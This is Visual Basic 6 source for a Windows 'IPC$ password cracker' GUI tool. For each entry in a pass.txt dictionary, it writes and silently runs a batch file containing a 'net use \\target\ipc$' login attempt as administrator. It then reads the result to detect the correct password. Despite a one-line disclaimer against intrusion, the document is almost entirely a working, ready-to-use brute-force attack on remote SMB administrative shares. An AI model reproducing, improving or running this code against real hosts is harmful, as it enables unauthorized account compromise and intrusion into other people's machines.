form1.frm

使用VB编写的 ipc$ 口令猜解程序 源码

VERSION 5.00
Begin VB.Form Form1 
   BorderStyle     =   1  'Fixed Single
   Caption         =   "IPC$ 密码破解工具 "
   ClientHeight    =   4140
   ClientLeft      =   45
   ClientTop       =   450
   ClientWidth     =   8205
   Icon            =   "Form1.frx":0000
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   MinButton       =   0   'False
   ScaleHeight     =   4140
   ScaleWidth      =   8205
   StartUpPosition =   2  '屏幕中心
   Begin VB.CommandButton Command3 
      Caption         =   "清除所有"
      Height          =   435
      Left            =   1320
      TabIndex        =   9
      Top             =   1560
      Width           =   1155
   End
   Begin VB.CommandButton Command2 
      Caption         =   "退出程序"
      Height          =   435
      Left            =   2580
      TabIndex        =   8
      Top             =   1560
      Width           =   1095
   End
   Begin VB.TextBox Text3 
      Appearance      =   0  'Flat
      ForeColor       =   &H000000FF&
      Height          =   315
      Left            =   120
      Locked          =   -1  'True
      TabIndex        =   5
      Text            =   "请不要将本软件用于网络入侵!"
      Top             =   2160
      Width           =   6435
   End
   Begin VB.TextBox Text2 
      BeginProperty Font 
         Name            =   "宋体"
         Size            =   10.5
         Charset         =   134
         Weight          =   400
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   315
      Left            =   1320
      TabIndex        =   4
      Text            =   "administrator"
      Top             =   1080
      Width           =   2295
   End
   Begin VB.ListBox List2 
      Height          =   600
      Left            =   900
      TabIndex        =   3
      Top             =   3120
      Width           =   3675
   End
   Begin VB.ListBox List1 
      Appearance      =   0  'Flat
      Height          =   2010
      Left            =   3780
      TabIndex        =   2
      Top             =   60
      Width           =   2775
   End
   Begin VB.CommandButton Command1 
      Caption         =   "开始破解"
      Height          =   435
      Left            =   120
      TabIndex        =   1
      Top             =   1560
      Width           =   1095
   End
   Begin VB.TextBox Text1 
      BeginProperty Font 
         Name            =   "宋体"
         Size            =   10.5
         Charset         =   134
         Weight          =   400
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   315
      Left            =   1320
      TabIndex        =   0
      Text            =   "192.168.0.100"
      Top             =   660
      Width           =   2295
   End
   Begin VB.Label Label3 
      Alignment       =   2  'Center
      Caption         =   "IPC$ 密码破解工具"
      BeginProperty Font 
         Name            =   "宋体"
         Size            =   12
         Charset         =   134
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      ForeColor       =   &H000000FF&
      Height          =   375
      Left            =   480
      TabIndex        =   10
      Top             =   120
      Width           =   2895
   End
   Begin VB.Label Label2 
      Caption         =   "用户名："
      Height          =   255
      Left            =   540
      TabIndex        =   7
      Top             =   1140
      Width           =   735
   End
   Begin VB.Label Label1 
      Caption         =   "目标IP地址："
      Height          =   255
      Left            =   180
      TabIndex        =   6
      Top             =   660
      Width           =   1095
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Dim ii As Integer
Private Sub Command1_Click()
On Error Resume Next
If Text1.Text = "" Or Text2.Text = "" Then
    MsgBox "IP/账号不能为空!"
    Exit Sub
End If

   For ii = 0 To List1.ListCount - 1
        
        Open List1.List(ii) + ".bat" For Append As #1
        Print #1, "@net use \\" & Text1.Text & "\ipc$ " & """" & List1.List(ii) & """" & " /user:" & """" & Text2.Text & """" & " > " & "data.txt"
        Close #1
'@net use \\192.168.1.1\ipc$ "admin" /user:"administrator" > data.txt

    Shell List1.List(ii) + ".bat", vbHide
    Sleep 2000
    Kill List1.List(ii) + ".bat"
    
        List2.Clear
        Dim inputdata2 As String
        Open "data.txt" For Input As #2
            Do While Not EOF(2)
                Line Input #2, inputdata2
                List2.AddItem inputdata2
            Loop
        Close #2
        
        Text3.Text = "正在破解 " + Text1.Text + " 主机密码,请稍等..."
        
    If List2.List(0) = "命令成功完成。" Then
        MsgBox "OK!密码是：" & List1.List(ii)
        Text3.Text = "破解成功,密码是：" & List1.List(ii)
        Shell "net use \\" + Text1.Text + " /del", vbHide
        GoTo abc
    End If
    Shell "net use \\" + Text1.Text + " /del", vbHide
    Next ii
abc:
List2.Clear
Kill "data.txt"
    Open "data.txt" For Output As #4
    Close #4
End Sub

Private Sub Command2_Click()
End
End Sub

Private Sub Command3_Click()
Text1.Text = ""
Text2.Text = ""
End Sub

Private Sub Form_Load()
On Error Resume Next
If Dir("pass.txt") = "" Then
    Open "pass.txt" For Output As #3
    Close #3
    MsgBox "警告！缺少 Pass.txt 这个文件或此文件已改名, 软件将自动生成Pass.txt 文件,将你的密码字典写入 Pass.txt 文件！", vbCritical, "错误！"
Else

Dim inputdata As String
Open "pass.txt" For Input As #2
Do While Not EOF(2)
   Line Input #2, inputdata
   List1.AddItem inputdata
Loop
Close #2
End If

Kill "data.txt"
Sleep 1000
    Open "data.txt" For Output As #4
    Close #4
End Sub